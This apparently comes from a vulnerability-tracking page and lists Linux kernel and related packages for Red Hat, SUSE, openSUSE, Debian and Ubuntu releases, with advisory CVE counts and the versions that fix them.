Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:7.3.0-427.67.1.el9_4
0:7.3.0-427.67.1.el9_4
kernel-64k-debug-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-devel
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-devel-matched
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-devel
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-devel-matched
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-devel
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-devel-matched
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-aarch64
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-ppc64le
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-s390x
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-x86_64
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-devel
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-devel-matched
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-doc
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-rt-debug-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-rt-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-tools-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-zfcpdump-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-zfcpdump-devel
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-zfcpdump-devel-matched
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
libperf-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
perf
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
perf-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
python3-perf-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
rtla
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
rv
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
bpftool
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:7.3.0-427.67.1.el9_4
0:7.3.0-427.67.1.el9_4
bpftool-debuginfo
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:7.3.0-427.67.1.el9_4
0:7.3.0-427.67.1.el9_4
kernel
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-debuginfo
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-modules
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-modules-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debug-modules-extra
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-debuginfo
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-modules
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-modules-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-64k-modules-extra
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-abi-stablelists
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-debuginfo
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-modules
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-modules-core
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-modules-extra
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debug-uki-virt
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-aarch64
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-ppc64le
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-s390x
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
kernel-debuginfo-common-x86_64
Red Hat:rhel_eus:9.4::baseos
From an advisory covering 9 CVEs
 before 0:5.14.0-427.67.1.el9_4
0:5.14.0-427.67.1.el9_4
linux
Root:Debian:11
 before 5.10.262-1.aikido.113
5.10.262-1.aikido.1135.10.262-1.aikido.114
rootio-linux
Root:Debian:11
 before 5.10.262-1.aikido.113
5.10.262-1.aikido.1135.10.262-1.aikido.114
linux
Root:Ubuntu:22.04
 before 5.15.0-203.213.aikido.119
5.15.0-203.213.aikido.119
rootio-linux
Root:Ubuntu:22.04
 before 5.15.0-203.213.aikido.119
5.15.0-203.213.aikido.119
kernel-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
From an advisory covering 204 CVEs
 before 5.14.21-150500.33.72.1
5.14.21-150500.33.72.1
kernel-source-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
From an advisory covering 204 CVEs
 before 5.14.21-150500.33.72.1
5.14.21-150500.33.72.1
kernel-syms-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
From an advisory covering 204 CVEs
 before 5.14.21-150500.33.72.1
5.14.21-150500.33.72.1
kernel-azure
openSUSE:Leap 15.5
From an advisory covering 204 CVEs
 before 5.14.21-150500.33.72.1
5.14.21-150500.33.72.1
kernel-source-azure
openSUSE:Leap 15.5
From an advisory covering 204 CVEs
 before 5.14.21-150500.33.72.1
5.14.21-150500.33.72.1
kernel-syms-azure
openSUSE:Leap 15.5
From an advisory covering 204 CVEs
 before 5.14.21-150500.33.72.1
5.14.21-150500.33.72.1
kernel-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP6
From an advisory covering 282 CVEs
 before 6.4.0-150600.8.17.2
6.4.0-150600.8.17.2
kernel-source-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP6
From an advisory covering 282 CVEs
 before 6.4.0-150600.8.17.1
6.4.0-150600.8.17.1
kernel-syms-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP6
From an advisory covering 282 CVEs
 before 6.4.0-150600.8.17.1
6.4.0-150600.8.17.1
kernel-azure
openSUSE:Leap 15.6
From an advisory covering 282 CVEs
 before 6.4.0-150600.8.17.2
6.4.0-150600.8.17.2
kernel-source-azure
openSUSE:Leap 15.6
From an advisory covering 282 CVEs
 before 6.4.0-150600.8.17.1
6.4.0-150600.8.17.1
kernel-syms-azure
openSUSE:Leap 15.6
From an advisory covering 282 CVEs
 before 6.4.0-150600.8.17.1
6.4.0-150600.8.17.1
kernel-rt
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-source-rt
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-livepatch-SLE15-SP5-RT_Update_22
SUSE:Linux Enterprise Live Patching 15 SP5
From an advisory covering 211 CVEs
 before 1-150500.11.3.1
1-150500.11.3.1
kernel-rt
SUSE:Real Time Module 15 SP5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-rt_debug
SUSE:Real Time Module 15 SP5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-source-rt
SUSE:Real Time Module 15 SP5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-syms-rt
SUSE:Real Time Module 15 SP5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-rt
openSUSE:Leap Micro 5.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-rt
openSUSE:Leap 15.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-rt_debug
openSUSE:Leap 15.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-source-rt
openSUSE:Leap 15.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-syms-rt
openSUSE:Leap 15.5
From an advisory covering 211 CVEs
 before 5.14.21-150500.13.76.1
5.14.21-150500.13.76.1
kernel-livepatch-SLE15-SP6-RT_Update_5
SUSE:Linux Enterprise Live Patching 15 SP6
From an advisory covering 268 CVEs
 before 1-150600.1.3.1
1-150600.1.3.1
kernel-rt
SUSE:Real Time Module 15 SP6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-rt_debug
SUSE:Real Time Module 15 SP6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-source-rt
SUSE:Real Time Module 15 SP6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-syms-rt
SUSE:Real Time Module 15 SP6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-rt
openSUSE:Leap 15.6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-rt_debug
openSUSE:Leap 15.6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-source-rt
openSUSE:Leap 15.6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-syms-rt
openSUSE:Leap 15.6
From an advisory covering 268 CVEs
 before 6.4.0-150600.10.17.1
6.4.0-150600.10.17.1
kernel-default
SUSE:Linux Enterprise Live Patching 12 SP5
From an advisory covering 120 CVEs
 before 4.12.14-122.234.1
4.12.14-122.234.1
kgraft-patch-SLE12-SP5_Update_62
SUSE:Linux Enterprise Live Patching 12 SP5
From an advisory covering 120 CVEs
 before 1-8.3.1
1-8.3.1
kernel-rt
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-source-rt
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-livepatch-SLE15-SP5-RT_Update_23
SUSE:Linux Enterprise Live Patching 15 SP5
From an advisory covering 230 CVEs
 before 1-150500.11.3.1
1-150500.11.3.1
kernel-rt
SUSE:Real Time Module 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-rt_debug
SUSE:Real Time Module 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-source-rt
SUSE:Real Time Module 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-syms-rt
SUSE:Real Time Module 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-rt
openSUSE:Leap Micro 5.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-rt
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-rt_debug
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-source-rt
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-syms-rt
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.13.79.1
5.14.21-150500.13.79.1
kernel-64kb
SUSE:Linux Enterprise Module for Basesystem 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default
SUSE:Linux Enterprise Module for Basesystem 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default-base
SUSE:Linux Enterprise Module for Basesystem 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1.150600.12.12.6
6.4.0-150600.23.30.1.150600.12.12.6
kernel-source
SUSE:Linux Enterprise Module for Basesystem 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-zfcpdump
SUSE:Linux Enterprise Module for Basesystem 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-docs
SUSE:Linux Enterprise Module for Development Tools 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-obs-build
SUSE:Linux Enterprise Module for Development Tools 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-source
SUSE:Linux Enterprise Module for Development Tools 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-syms
SUSE:Linux Enterprise Module for Development Tools 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default
SUSE:Linux Enterprise Module for Legacy 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default
SUSE:Linux Enterprise Live Patching 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-livepatch-SLE15-SP6_Update_6
SUSE:Linux Enterprise Live Patching 15 SP6
From an advisory covering 506 CVEs
 before 1-150600.13.3.5
1-150600.13.3.5
kernel-default
SUSE:Linux Enterprise High Availability Extension 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default
SUSE:Linux Enterprise Workstation Extension 15 SP6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
dtb-aarch64
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-64kb
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-debug
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default-base
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1.150600.12.12.6
6.4.0-150600.23.30.1.150600.12.12.6
kernel-docs
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-kvmsmall
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-obs-build
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-obs-qa
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-source
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-syms
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-zfcpdump
openSUSE:Leap 15.6
From an advisory covering 506 CVEs
 before 6.4.0-150600.23.30.1
6.4.0-150600.23.30.1
kernel-default
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-default-base
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1.150500.6.39.4
5.14.21-150500.55.88.1.150500.6.39.4
kernel-64kb
SUSE:Linux Enterprise Module for Basesystem 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-default
SUSE:Linux Enterprise Module for Basesystem 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-default-base
SUSE:Linux Enterprise Module for Basesystem 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1.150500.6.39.4
5.14.21-150500.55.88.1.150500.6.39.4
kernel-source
SUSE:Linux Enterprise Module for Basesystem 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-zfcpdump
SUSE:Linux Enterprise Module for Basesystem 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-docs
SUSE:Linux Enterprise Module for Development Tools 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-obs-build
SUSE:Linux Enterprise Module for Development Tools 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-source
SUSE:Linux Enterprise Module for Development Tools 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-syms
SUSE:Linux Enterprise Module for Development Tools 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-default
SUSE:Linux Enterprise Module for Legacy 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-default
SUSE:Linux Enterprise Live Patching 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-livepatch-SLE15-SP5_Update_21
SUSE:Linux Enterprise Live Patching 15 SP5
From an advisory covering 439 CVEs
 before 1-150500.11.5.1
1-150500.11.5.1
kernel-default
SUSE:Linux Enterprise High Availability Extension 15 SP5
From an advisory covering 439 CVEs
 before 5.14.21-150500.55.88.1
5.14.21-150500.55.88.1
kernel-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.33.75.1
5.14.21-150500.33.75.1
kernel-source-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.33.75.1
5.14.21-150500.33.75.1
kernel-syms-azure
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
From an advisory covering 230 CVEs
 before 5.14.21-150500.33.75.1
5.14.21-150500.33.75.1
kernel-azure
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.33.75.1
5.14.21-150500.33.75.1
kernel-source-azure
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.33.75.1
5.14.21-150500.33.75.1
kernel-syms-azure
openSUSE:Leap 15.5
From an advisory covering 230 CVEs
 before 5.14.21-150500.33.75.1
5.14.21-150500.33.75.1
linux-aws
Ubuntu:Pro:14.04:LTS
 All versions, plus listed versions
4.4.0-1002.24.4.0-1003.34.4.0-1005.54.4.0-1006.64.4.0-1009.9
Show 45 moreShow less
4.4.0-1010.104.4.0-1011.114.4.0-1012.124.4.0-1014.144.4.0-1016.164.4.0-1017.174.4.0-1019.194.4.0-1022.224.4.0-1023.234.4.0-1024.254.4.0-1025.264.4.0-1027.304.4.0-1028.314.4.0-1029.324.4.0-1031.344.4.0-1032.354.4.0-1034.374.4.0-1036.394.4.0-1037.404.4.0-1038.414.4.0-1039.424.4.0-1040.434.4.0-1042.454.4.0-1044.474.4.0-1045.484.4.0-1046.504.4.0-1048.524.4.0-1050.544.4.0-1052.564.4.0-1054.584.4.0-1055.594.4.0-1056.604.4.0-1058.624.4.0-1059.634.4.0-1060.644.4.0-1061.654.4.0-1062.664.4.0-1064.684.4.0-1065.694.4.0-1066.704.4.0-1067.714.4.0-1073.774.4.0-1074.784.4.0-1075.794.4.0-1076.80
 None known
linux-azure
Ubuntu:Pro:14.04:LTS
 All versions, plus listed versions
4.15.0-1023.24~14.04.14.15.0-1030.31~14.04.14.15.0-1031.32~14.04.14.15.0-1032.33~14.04.24.15.0-1035.36~14.04.2
Show 45 moreShow less
4.15.0-1036.38~14.04.24.15.0-1037.39~14.04.24.15.0-1039.41~14.04.24.15.0-1040.44~14.04.14.15.0-1041.45~14.04.14.15.0-1042.46~14.04.14.15.0-1045.49~14.04.14.15.0-1046.50~14.04.14.15.0-1047.51~14.04.14.15.0-1049.54~14.04.14.15.0-1050.55~14.04.14.15.0-1051.56~14.04.14.15.0-1052.57~14.04.14.15.0-1055.60~14.04.14.15.0-1056.61~14.04.14.15.0-1057.62~14.04.14.15.0-1059.64~14.04.14.15.0-1060.65~14.04.14.15.0-1061.66~14.04.14.15.0-1063.68~14.04.14.15.0-1064.69~14.04.14.15.0-1066.71~14.04.14.15.0-1067.72~14.04.14.15.0-1069.74~14.04.14.15.0-1071.76~14.04.14.15.0-1074.79~14.04.14.15.0-1077.82~14.04.14.15.0-1082.92~14.04.14.15.0-1083.93~14.04.14.15.0-1089.99~14.04.14.15.0-1091.101~14.04.14.15.0-1092.102~14.04.14.15.0-1093.103~14.04.14.15.0-1095.105~14.04.14.15.0-1096.106~14.04.14.15.0-1098.109~14.04.14.15.0-1100.111~14.04.14.15.0-1102.113~14.04.14.15.0-1103.114~14.04.14.15.0-1106.118~14.04.14.15.0-1108.120~14.04.14.15.0-1109.121~14.04.14.15.0-1110.122~14.04.14.15.0-1111.123~14.04.14.15.0-1112.124~14.04.1
 None known
linux-lts-xenial
Ubuntu:Pro:14.04:LTS
 All versions, plus listed versions
4.4.0-13.29~14.04.14.4.0-14.30~14.04.24.4.0-15.31~14.04.14.4.0-18.34~14.04.14.4.0-21.37~14.04.1
Show 45 moreShow less
4.4.0-22.39~14.04.14.4.0-22.40~14.04.14.4.0-24.43~14.04.14.4.0-28.47~14.04.14.4.0-31.50~14.04.14.4.0-34.53~14.04.14.4.0-36.55~14.04.14.4.0-38.57~14.04.14.4.0-42.62~14.04.14.4.0-45.66~14.04.14.4.0-47.68~14.04.14.4.0-51.72~14.04.14.4.0-53.74~14.04.14.4.0-57.78~14.04.14.4.0-59.80~14.04.14.4.0-62.83~14.04.14.4.0-63.84~14.04.24.4.0-64.85~14.04.14.4.0-66.87~14.04.14.4.0-67.88~14.04.14.4.0-70.91~14.04.14.4.0-71.92~14.04.14.4.0-72.93~14.04.14.4.0-75.96~14.04.14.4.0-78.99~14.04.24.4.0-79.100~14.04.14.4.0-81.104~14.04.14.4.0-83.106~14.04.14.4.0-87.110~14.04.14.4.0-89.112~14.04.14.4.0-91.114~14.04.14.4.0-92.115~14.04.14.4.0-93.116~14.04.14.4.0-96.119~14.04.14.4.0-97.120~14.04.14.4.0-98.121~14.04.14.4.0-101.124~14.04.14.4.0-103.126~14.04.14.4.0-104.127~14.04.14.4.0-108.131~14.04.14.4.0-109.132~14.04.14.4.0-111.134~14.04.14.4.0-112.135~14.04.14.4.0-116.140~14.04.14.4.0-119.143~14.04.1
 None known
linux
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.2.0-16.194.2.0-17.214.2.0-19.234.3.0-1.104.3.0-2.11
Show 45 moreShow less
